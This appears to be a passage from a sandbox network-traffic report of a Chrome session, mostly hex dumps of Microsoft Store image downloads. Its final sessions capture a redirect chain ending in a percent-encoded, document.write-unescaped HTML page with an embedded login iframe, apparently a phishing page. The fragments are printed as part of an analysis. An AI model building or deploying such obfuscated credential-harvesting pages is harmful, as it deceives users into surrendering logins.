be 63 56 12 ac 6c 59 ba 0d 50 f5 18 59 ec 3d 3a 82 27 f7 1c c6 01 e3 26 76 18 d0 3a 65 76 1f ce 5f 36 0b 7d a6 3c 43 e3 
53 ec 3e fb 76 d8 00 d1 9a 85 83 78 df 4b 96 e2 2f bf b3 b5 5e 5f 09 d2 59 9a 36 31 69 5e 76 da 5c c3 84 56 3b 66 d5 84 
df 03 d6 3d b7 41 7f 03 86 56 76 dd 7e 2a 83 a9 c3 f0 84 de 9e 36 54 38 61 9e f1 67 2f 5f 8a 3b 77 0d e1 c1 ed 27 4c a7 
56 b1 e6 34 1c 52 95 5c 5d e2 55 7b 24 72 52 32 5d 49 12 f6 e9 aa c5 9b f3 5a 42 bc b0 d6 2d 4f 1a 98 7d 7b 5b 06 c9 32 
98 4a 1a 03 0c 8f 8c 4d ab 80 16 81 09 90 8c 69 de 32 0d 
Data Ascii: 6lCrY[S:ImpS-;Za7bjVq{U{bv3h'zcVlYPY=:'&v:ev_6}<CS>vxK/^_Y61i^v\V;f=AVv~*6T8ag/_;w'LV4R\]U{$rR2]IZ
B-O}{[2JMi2

2022-07-01 09:00:46 UTC 485 IN Data Raw: 38 77 d5 02 3c ba 61 97 d1 f6 1e de 43 8e 4d e0 e2 f3 56 61 cd e2 d9 18 1d 4f 01 ab d3 ba 9e 63 e3 f8 cc 3d 
9b ab 65 2f 04 ac 4b df d7 bc 58 86 65 f1 65 a0 1b 2f 3b 75 81 b1 24 dd 38 6d 51 a7 0c 6b fa f4 fd cf 57 a7 48 d3 fb 25 e8 
7b 4a d2 4e 79 7c ba 92 c8 d8 ca c3 3c 6b ed 8a 39 38 77 c9 4c 75 ba 88 0d f8 df f6 c4 1e 1c 38 30 54 b9 82 25 98 0b 53 
a9 85 7d 5f cd 7d 5b 69 5c be 52 61 79 f6 89 f6 eb 11 1a 14 b7 65 31 cf 7c e9 d2 19 58 38 b3 07 23 0a 23 b2 57 af 69 87 
fb 76 1c c7 dd 2f d4 2e 9c 74 8f e8 67 f3 fb 43 3b 8f e3 1e f3 f7 8a 55 b3 12 a6 67 2f 1b a8 5f 3c a3 1b 2f 5d dc 8f 9b 36 8e 
55 88 a8 b0 a8 40 c8 6b f9 87 43 56 34 a6 85 08 44 a9 eb 98 a6 c9 c6 b2 02 30 81 83 9d 60 61 09 8b 4a 30 01 f0 0c b1 
32 f9 22 88 3c 61 5a 40 78 7e 02 5a a4 29 43 0c 4b 
Data Ascii: 8w<aCMVaOc=e/KXee/;u$8mQkWH%{JNy|<k98wLu80T%S}_}[i\Raye1|X8##Wiv/.tgC;Ug/_</]6U@kCV4D0`a
J02"<aZ@x~Z)CK

2022-07-01 09:00:46 UTC 501 IN Data Raw: f8 6d 5c b6 13 c3 63 f8 bb eb 6f c7 bf 7c f3 21 bc f9 ea f5 f8 c5 9f b8 0c 17 9d b5 d2 a5 1b 1b 1d 73 9b c4 fd 47 
5d 15 be 54 8a 33 25 d7 c5 fd 27 bb ac 94 fb ed a8 9f 61 7d fb 0e 0f e1 0b df dd 88 7f b8 63 13 9e 79 a1 de 1e c6 cd a9 
aa af 92 6b 9b 76 52 32 03 1b 03 52 af 3b 6b 11 16 cf b3 7b a3 8d 63 b0 bf 0b cf ec 3c 82 0f 7e fd 29 37 ef 8a 4d a4 f4 4f 
f1 e2 d4 58 38 09 30 84 48 8e a6 73 e0 fa 1b 80 8d fa 5a d2 85 a3 a0 c5 11 91 b8 79 c8 02 9a 1e 4a 51 48 40 28 27 52 5b 
03 95 25 20 01 2e ac 7b ad 93 b0 ed 65 7c 63 82 3c 4e 7e 47 3f cb 74 ed 30 31 ed 3e 9f 67 ee fe 76 d2 36 3d 57 cb b7 6a 
2b 3e 19 51 0b 32 c6 b4 10 0a a1 cd 5f 4a 99 96 8f 45 78 65 d0 a6 04 24 2c cd 4b da ce 9d aa 81 eb 5f be 70 17 ae bf e9 
21 bc e1 f2 75 78 df 1b 5e 8a 57 bf f4 74 0c 0c 
Data Ascii: m\co|!sG]T3%'a}cykvR2R;k{c<~)7MOX80HsZyJQH@('R[% .{e|c<N~G?t01>gv6=Wj+>Q2_JExe$,K_p!ux^Wt

2022-07-01 09:00:46 UTC 513 IN Data Raw: 41 ef 74 65 d4 62 ea 31 7f 28 78 e5 ca 24 d0 d4 dc d6 7e 5b 97 4c c6 4e 5e 9c 06 87 bf 1d a1 3b 69 b5 eb 92 
98 9c 67 99 b1 5e 4e 13 78 47 3a b8 a0 61 f9 79 21 65 93 ba af a7 90 d3 1f 90 fc dc ee c9 16 85 8c 31 a9 5e a7 35 90 c4 
ef 98 30 ef 38 8a c0 70 a7 67 a7 56 69 f8 9e 02 4c 07 be 13 a8 4e 80 ef ca 52 32 3c 21 8f 93 de a3 b9 d7 d5 79 d2 fb 09 
d1 9d 3a 8f 53 67 f2 c4 e6 45 6f 1a 5a 21 21 39 f8 3c 32 08 22 11 69 9c 44 a4 b3 8e 2c 20 39 2d 4f c4 5f 94 76 ff 5a 07 af 
72 b7 44 00 18 49 b6 73 34 33 ca 60 a0 b3 4d 50 bf 6b 92 31 02 b8 6c 32 28 86 bf 69 bd 1b b6 8a d0 53 bf 9a a3 f5 5b ca 
73 f4 a4 f4 fe 2a a2 2e 8b b8 a6 0d ca e2 5b 28 9f 27 e0 a3 63 a1 9e 86 48 78 75 78 c5 47 d0 1e 63 c9 97 36 f0 db 81 c8 
af b1 e3 2b 00 f3 6f 2e 63 77 6d 07 d4 ee 50 84 7b 02 
Data Ascii: Ateb1(x$~[LN^;ig^NxG:ay!e1^508pgViLNR2<!y:SgEoZ!!9<2"iD, 9-O_vZrDIs43`MPk1l2(iS[s*.[('cHxuxGc6+o.c
wmP{

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

33 192.168.2.5 49777 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:46 UTC 467 OUT GET /image/apps.51843.9007199266243449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.c13e8407-eaf8-447a-a5d6-
9abd8bc2c1f3?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-07-01 09:00:46 UTC 515 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 2132
Content-Type: image/png
Last-Modified: Tue, 06 Oct 2020 07:51:53 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDg2OUNDQjEyNkQ2RTQ"
MS-CV: io5H35z9qESL1hpw.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:46 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:46 UTC 516 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 03 00 00 00 d0 23 c0 3a 00 00 
02 46 50 4c 54 45 ff ff ff 22 90 d3 00 1f 37 00 1e 37 2b b0 fe 04 2e 4c 01 23 3d 00 1e 36 2c b1 ff 8f 9c a6 00 21 3a 03 2d 
4b 01 24 3f 15 67 9b 02 26 42 02 28 44 15 6a 9f 0f 55 81 06 36 57 00 21 3b 22 94 d8 1c 81 be 1f 8c ce 10 58 86 06 35 57 
10 58 87 1a 79 b3 01 24 3e 1d 86 c5 1f 8b cd 2a af fc 06 35 56 21 90 d3 15 6a 9e 1c 84 c2 19 78 b3 1a 7a b4 1d 85 c4 02 
27 43 19 77 b1 fe fe fe 14 66 99 19 77 b0 03 2c 4a 19 78 b2 1c 84 c3 2b af fd 28 a5 ef 10 59 88 1f 8c cd 0c 29 3f 2c 45 59 
05 22 39 2a ae fb 01 25 40 07 3a 5d 16 6e a4 04 2f 4d 20 90 d3 15 67 9c 0f 55 82 28 a7 f2 27 a4 ee 24 9a e1 08 3b 5e 0d 
4f 7a 00 1f 38 06 37 58 23 99 e0 00 20 39 21 91 d5 14 
Data Ascii: PNGIHDR#:FPLTE"77+.L#=6,!:-K$?g&B(DjU6W!;"X5WXy$>*5V!jxz'Cwfw,Jx+(Y)?,EY"9*%@:]n/M gU('$
;^Oz87X# 9!

Session ID Source IP Source Port Destination IP
Destination
Port

Process

34 192.168.2.5 49778 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:46 UTC 518 OUT GET /image/apps.5075.9007199266244427.c75d2ced-a383-40dc-babd-1ad2ceb13c86.f329a73d-1ae8-4445-aa4c-b
f40f3c5d62d?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-07-01 09:00:46 UTC 518 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 6001
Content-Type: image/png
Last-Modified: Thu, 10 Jun 2021 02:49:21 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkyQkJBNTkzQjkwQjA"
MS-CV: yq21NaejzkmnbM2s.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:46 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:46 UTC 518 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 
00 00 0e c3 01 c7 6f a8 64 00 00 17 06 49 44 41 54 78 5e ed dd 09 b0 9d 65 7d c7 f1 4e 9d e9 4c db a9 62 20 a0 b6 45 7
1 69 15 15 a1 52 16 2b 8a ad 58 5b 75 da 2a 45 ac a2 16 ad d6 aa 5d 54 46 10 5b b5 56 b1 2e 38 5a a5 b2 24 0a 09 10 
b2 27 6c 49 48 42 58 b2 40 02 09 d9 20 24 64 83 2c 64 e5 dc b3 2f f7 fe fb fc 9e 9b 33 05 3c e0 bd c9 79 df f3 fe df f3 fd cf 
7c e6 86 2c f7 72 96 f7 77 9e e7 79 9f e5 d7 7e ff da 01 03 00 0f 08 2c 00 6e 10 58 00 dc 20 b0 00 b8 41 60 01 70 83 c0 
02 e0 06 81 05 c0 0d 02 0b 80 1b 04 16 00 37 08 2c 00 6e 10 58 
Data Ascii: PNGIHDR,,y}usRGBgAMAapHYsodIDATx^e}NLb EqiR+X[u*E]TF[V.8Z$'lIHBX@ $d,d/3<y|,rwy~,nX A`p7,nX

Session ID Source IP Source Port Destination IP
Destination
Port

Process

35 192.168.2.5 49779 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:00:46 UTC 524 OUT GET /image/apps.54562.13634052595610511.c45457c9-b4af-46b0-8e61-8d7c0aec3f56.24af4abe-62f8-404b-b1a9-
ee8fe4d32d94?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-07-01 09:00:46 UTC 525 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 12462
Content-Type: image/png
Last-Modified: Fri, 04 Jun 2021 08:47:09 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkyNzM1NTcwNDdCNjk"
MS-CV: YL1WyeTAvUC1HHWF.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:46 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:46 UTC 525 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 
00 00 0e c3 01 c7 6f a8 64 00 00 30 43 49 44 41 54 78 5e ed 9d 09 78 55 c5 dd c6 cd 46 02 24 ec 5b 42 48 20 1b 4b 20 2
0 a0 28 6e 05 14 95 45 56 d9 51 b4 6e b5 e2 be a1 d6 b5 b6 2e b5 2a d5 16 97 af 9f 75 af da d6 cf 6a ab 6d ad 56 dc 70 
b7 22 22 a0 e0 86 2c 22 10 b2 2f e7 ff bd ff 73 73 31 09 93 e4 86 9c 7b ef 39 e7 be bf e7 f9 3d 48 80 e4 cc dc 33 af 33 73 
e6 cc 1c 40 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 
08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 
Data Ascii: PNGIHDR,,y}usRGBgAMAapHYsod0CIDATx^xUF$[BH K  (nEVQn.*ujmVp"","/ss1{9=H33s@!B!B!B!B!B!B!
B!B!B!B!B!

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

36 192.168.2.5 49780 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:46 UTC 525 OUT GET /image/apps.55990.13510798886747090.a0953092-5fc3-46f0-aefa-796cb3a9b90b.1c9f2174-7e18-48ba-af90-
e569a2444a83?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-07-01 09:00:46 UTC 538 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 36301
Content-Type: image/jpeg
Last-Modified: Mon, 09 Aug 2021 18:25:01 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk1QjYzMDA1MzJGOEY"
MS-CV: q3l8T0dRYkekS5SG.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:46 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:46 UTC 538 IN Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 
79 00 01 00 04 00 00 00 64 00 00 ff e1 03 8e 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 
2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 
48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 
64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 
2e 30 2d 63 30 30 36 20 37 39 2e 64 61 62 61 63 62 62 2c 20 32 30 32 31 2f 30 34 2f 31 34 2d 30 30 3a 33 39 3a 34 34 
20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 
Data Ascii: ExifII*Duckydhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmp
meta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.dabacbb, 2021/04/14-00:39:44        "> <rdf:RDF 
x

2022-07-01 09:00:46 UTC 554 IN Data Raw: cc b7 c7 67 22 36 f7 6c d2 0e d3 d0 48 03 3b 15 25 7a 8a fa 1f e3 c1 49 a0 f3 0b 31 90 cf 3e ea 51 a3 8d c3 85 
ee bd 9d c8 d3 8d e8 3e a9 d5 aa e4 6b 7e e7 7f ef e9 ea 12 6c 9f 72 d8 c0 50 34 8d cb f8 f1 1d 6f e2 c8 b2 17 00 3c 8d 
d8 d5 f2 a5 3d 6b fc 38 42 5f 90 8f 3a ed 4c cc 06 0f 19 19 b3 b9 73 c8 6a 98 64 cf 84 83 69 0b c5 5c 41 a0 b7 67 fd 79 42 
44 73 4b be e4 e8 c3 18 e1 bd 51 1b 06 b1 e8 f4 5f 71 88 8e 90 c6 6c 3a 5b 7d 5e 46 ab 0c 64 4c eb d3 bb 33 2f e9 a9 ff 
00 62 24 3a 8d 7a b1 00 74 27 84 a7 96 6e ed e0 b7 ba 82 09 07 ed 96 72 18 63 a7 fe a4 a3 91 a7 fb 31 d1 c9 ff 00 13 03 
f2 a5 d5 c5 fc 6d 6b 95 e3 da 2a 3b ea 5a bb e9 9c 7f 97 b1 b0 b1 8b 6f 1b f7 38 05 b6 bd bb ae d5 7b 33 22 9b ec 9e 91 
a3 45 21 14 65 47 b1 ea 77 23 91 7e ab e8 6f 74 67 
Data Ascii: g"6lH;%zI1>Q>k~lrP4o<=k8B_:Lsjdi\AgyBDsKQ_ql:[}^FdL3/b$:zt'nrc1mk*;Zo8{3"E!eGw#~otg
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2022-07-01 09:00:46 UTC 562 IN Data Raw: 5b 15 23 9e d6 14 d1 89 64 3f 65 ee fb c6 23 10 ad 5f 71 8d 54 c8 da 98 d9 b1 f8 38 7f 6e 05 ff 00 70 53 2b 95 
fc e2 15 7d 29 19 eb cd e4 04 b7 a5 55 3e 3c 43 42 12 6d 57 77 1f ff 00 58 15 5f 81 94 8a bb 9f f7 01 0a 0f c0 b1 eb c2 6d 
f2 27 8c aa 3c e4 c2 58 e3 f8 f7 98 e5 d6 d8 60 5b 77 0e ba 96 60 06 b8 cd 45 e3 5e 8c 9b 71 62 20 b5 b6 e3 2c d4 62 8a 
31 fd c3 fb 31 15 1a c0 f6 ab fb f6 db e0 9f b6 bc 2c 9e 3a 5d cf 65 70 cb bf 2f a2 1d f2 e0 34 29 d7 44 0b 42 5a 30 82 95 
20 d4 b1 ab 2d 45 02 27 33 e5 0c 9e d4 dc a9 0d fd 91 3b 71 65 d4 1d 4f ea 37 f8 9e bf 95 89 3d 54 d2 84 52 a3 85 41 c4 
5e 06 72 1d 9c 4e 48 b7 d1 50 5b 8e 46 4b fa 82 2c 4a 0a 28 92 2c ac 56 3e 50 04 35 fd 90 95 83 6b 0b 09 03 15 43 11 
e8 8f ee 21 1a fe c7 b5 cc ee 58 6f 5d d9 26 c4 dc 
Data Ascii: [#d?e#_qT8npS+})U><CBmWwX_m'<X`[w`E^qb ,b11,:]ep/4)DBZ0 -E'3;qeO7=TRA^rNHP[FK,J(,V>P5kC!Xo]&

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

37 69.172.198.108 443 192.168.2.5 49764 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:47 UTC 574 IN HTTP/1.1 404 Not Found
Date: Fri, 01 Jul 2022 09:00:44 GMT
Server: Apache
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link: <https://trocha.com.co/wp-json/>; rel="https://api.w.org/"
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

2022-07-01 09:00:47 UTC 574 IN Data Raw: 31 39 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 
44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 
77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 
6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 73 63 
72 69 70 74 3e 0a 20 20 76 61 72 20 68 61 73 68 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 
3b 0a 20 20 69 66 28 68 61 73 68 20 21 3d 3d 20 22 22 29 20 
Data Ascii: 198<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD
/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head></head></body><script>  var hash = 
window.location.hash;  if(hash !== "") 

2022-07-01 09:00:47 UTC 574 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Session ID Source IP Source Port Destination IP
Destination
Port

Process

38 192.168.2.5 49781 192.154.231.67 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:48 UTC 574 OUT GET /uhg.html HTTP/1.1
Host: shafquatarefeen.com
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://trocha.com.co/gvx
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

39 192.154.231.67 443 192.168.2.5 49781 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:00:48 UTC 575 IN HTTP/1.1 200 OK
Date: Fri, 01 Jul 2022 09:00:48 GMT
Server: Apache
Upgrade: h2,h2c
Connection: Upgrade, close
Last-Modified: Thu, 30 Jun 2022 11:46:14 GMT
Accept-Ranges: bytes
Content-Length: 87779
Content-Type: text/html

2022-07-01 09:00:48 UTC 575 IN Data Raw: 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 64 6f 63 75 6d 
65 6e 74 2e 77 72 69 74 65 28 20 75 6e 65 73 63 61 70 65 28 20 27 25 33 43 25 36 38 25 37 34 25 36 44 25 36 43 25 32 
30 25 36 43 25 36 31 25 36 45 25 36 37 25 33 44 25 32 32 25 36 35 25 36 45 25 32 32 25 33 45 25 30 41 25 33 43 25 36 
39 25 36 36 25 37 32 25 36 31 25 36 44 25 36 35 25 32 30 25 37 33 25 37 34 25 37 39 25 36 43 25 36 35 25 33 44 25 32 
32 25 36 32 25 36 46 25 37 32 25 36 34 25 36 35 25 37 32 25 33 41 25 32 30 25 33 30 25 33 42 25 32 32 25 32 30 25 37 
33 25 37 32 25 36 33 25 33 44 25 32 32 25 36 38 25 37 34 25 37 34 25 37 30 25 37 33 25 33 41 25 32 46 25 32 46 25 36 
43 25 36 46 25 36 37 25 36 39 25 36 45 25 32 45 25 36 44 25 36 39 25 36 
Data Ascii: <script language="javascript">document.write( unescape( '%3C%68%74%6D%6C%20%6C%61%6E%67%
3D%22%65%6E%22%3E%0A%3C%69%66%72%61%6D%65%20%73%74%79%6C%65%3D%22%62%6
F%72%64%65%72%3A%20%30%3B%22%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F
%6C%6F%67%69%6E%2E%6D%69%6

2022-07-01 09:00:48 UTC 583 IN Data Raw: 41 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 45 25 36 32 25 37 34 25 36 45 25 32 30 25 37 42 25 
30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 32 25 36 31 25 36 33 25 36 42 25 
36 37 25 37 32 25 36 46 25 37 35 25 36 45 25 36 34 25 32 44 25 36 33 25 36 46 25 36 43 25 36 46 25 37 32 25 33 41 25 
32 30 25 32 33 25 33 30 25 33 30 25 33 35 25 34 34 25 34 31 25 33 36 25 33 42 25 30 41 25 32 30 25 32 30 25 32 30 25 
32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 33 25 36 46 25 36 43 25 36 46 25 37 32 25 33 41 25 32 30 25 32 33 25 
34 36 25 34 36 25 34 36 25 33 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 
37 30 25 36 31 25 36 34 25 36 34 25 36 39 25 36 45 25 36 37 25 32 44 25 36 
Data Ascii: A%0A%20%20%20%20%2E%62%74%6E%20%7B%0A%20%20%20%20%20%20%20%20%62%61%
63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%20%23%30%30%35%44%41%36%3
B%0A%20%20%20%20%20%20%20%20%63%6F%6C%6F%72%3A%20%23%46%46%46%3B%0A%20
%20%20%20%20%20%20%20%70%61%64%64%69%6E%67%2D%6

2022-07-01 09:00:48 UTC 591 IN Data Raw: 34 32 25 33 33 25 37 35 25 33 30 25 35 34 25 37 35 25 34 35 25 35 41 25 36 42 25 37 41 25 35 41 25 37 33 
25 37 41 25 36 34 25 34 39 25 36 46 25 36 38 25 35 36 25 37 31 25 37 35 25 34 31 25 36 31 25 34 44 25 35 34 25 37 33 
25 34 31 25 34 31 25 34 31 25 35 39 25 37 30 25 35 33 25 35 35 25 35 32 25 34 32 25 35 36 25 34 37 25 36 41 25 36 35 
25 33 31 25 35 36 25 37 30 25 34 45 25 36 31 25 34 36 25 37 38 25 35 36 25 34 36 25 34 41 25 33 37 25 34 41 25 36 34 
25 34 33 25 36 31 25 34 41 25 36 44 25 36 36 25 37 38 25 34 44 25 34 39 25 33 34 25 34 35 25 34 42 25 34 46 25 36 42 
25 36 42 25 36 46 25 37 31 25 34 36 25 34 34 25 34 41 25 34 32 25 34 34 25 36 35 25 36 39 25 36 38 25 36 43 25 35 31 
25 36 42 25 35 36 25 36 38 25 34 33 25 35 41 25 34 35 25 36 32 25 34 39 25 
Data Ascii: 42%33%75%30%54%75%45%5A%6B%7A%5A%73%7A%64%49%6F%68%56%71%75%41%61%4D
%54%73%41%41%41%59%70%53%55%52%42%56%47%6A%65%31%56%70%4E%61%46%78%56%46%4A%37%4
A%64%43%61%4A%6D%66%78%4D%49%34%45%4B%4F%6B%6B%6F%71%46%44%4A%42%44%65
%69%68%6C%51%6B%56%68%43%5A%45%62%49%

2022-07-01 09:00:48 UTC 598 IN Data Raw: 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 33 43 25 36 34 25 36 39 25 37 36 25 32 
30 25 36 39 25 36 34 25 33 44 25 32 32 25 36 36 25 36 46 25 37 32 25 36 44 25 32 44 25 36 44 25 36 35 25 37 33 25 37 
33 25 36 31 25 36 37 25 36 35 25 37 33 25 32 32 25 33 45 25 33 43 25 32 46 25 36 34 25 36 39 25 37 36 25 33 45 25 30 
41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 
30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 33 43 25 36 39 25 36 44 25 36 37 25 32 30 25 36 
33 25 36 43 25 36 31 25 37 33 25 37 33 25 33 44 25 32 32 25 36 39 25 36 44 25 36 37 25 32 44 25 37 32 25 36 35 25 37 
33 25 37 30 25 36 46 25 36 45 25 37 33 25 36 39 25 37 36 25 36 35 25 32 32 
Data Ascii: %20%20%20%20%20%20%20%3C%64%69%76%20%69%64%3D%22%66%6F%72%6D%2D%6D%6
5%73%73%61%67%65%73%22%3E%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%3C%69%6D%67%20%63%6C%61%73%73%3D%22%69%6D%67%2D%72%65
%73%70%6F%6E%73%69%76%65%22

2022-07-01 09:00:48 UTC 606 IN Data Raw: 30 25 34 32 25 34 36 25 33 32 25 34 41 25 36 43 25 36 43 25 35 37 25 33 36 25 37 32 25 35 35 25 33 39 25 
37 41 25 32 42 25 33 31 25 34 43 25 35 32 25 32 46 25 37 32 25 36 43 25 34 39 25 36 32 25 34 42 25 33 37 25 36 31 25 
